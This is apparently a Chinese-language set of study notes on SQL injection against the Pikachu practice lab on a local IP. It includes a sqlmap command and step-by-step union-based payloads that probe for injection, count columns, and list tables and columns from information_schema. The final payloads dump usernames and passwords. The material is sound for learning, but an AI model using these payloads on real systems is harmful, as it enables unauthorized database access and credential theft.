sql注入漏洞介绍 漏洞描述 web程序代码中对于用户提交的参数未做过滤就直接带到sql语句中执行,黑客可以利用该漏洞执行任意SQL语句,如数据查询,文件读取,文件写入 在mysql5版本以后,mysql默认在数据库中存放在一个叫information_schema里面 这个库里面有很多的表,重点是这三个表columns,tables,schemata
SQL注入原理 参数用户可控:从前端传给后端的参数内容是用户可以控制的 参数带入数据库查询:传入的参数拼接到sql语句,且带入数据库查询。 判断是否存在注入可以在参数后面加个单引号看是否报错,如果报错可能存在注入
注释符 #单行注释 注意与url中的#区分,常编码为%23 –空格 单行注释 注意为短线短线空格 /()/多行注释
注入类型分类 union 联合查询 布尔盲注 堆叠 报错 时间延迟 使用sqlmap对站点进行探测 sqlmap -u " http://192.168.1.11/06/vul/sqli/sqli_str.php?name=lili&submit=1" -p name --dbs mysql
-p 指定参数进行查询 注入类型区分 int整形 select * from user where id=1 string 字符型 select * from user username=‘admin’ like 搜索型 select from news where title like ‘%标题%’
注入流程 判断是否存在注入 http://192.168.1.11/06/vul/sqli/sqli_str.php?name=lili%27%20and%201=1%20%23&submit=%E6%9F%A5%E8%AF%A2 页面返回正常 http://192.168.1.11/06/vul/sqli/sqli_str.php?name=lili%27%20and%201=2%20%23&submit=%E6%9F%A5%E8%AF%A2 显示用户不存在
说明存在注入
判断字段数 order by 1 返会正常 order by 2 正常 order by 3 错误 说明字段数为2 显示可显字段 1和2都可以用 查询数据库名 union select 1,database()# 数据库为pikachu
查询表名 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()%23 查询users表下的字段 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’)
同时查询username,password字段内容 union select 1,(select group_concat(username,password) from users) union 联合注入原理 联合查询注入是联合两个表进行注入攻击,使用关键词 union select 对两个表进行联合查询。两个表的字段数要相同,不然会出现报错。 guestbook有三个字段 users表有八个 如果要用user表联合guesbook来查询必须使用八个字段不够的可以用数字填充 select * from users where user_id=1 union select 1,2,3,4,5,6,7,8 from guestbook; 这里的数字可以替换成要查询的字段
|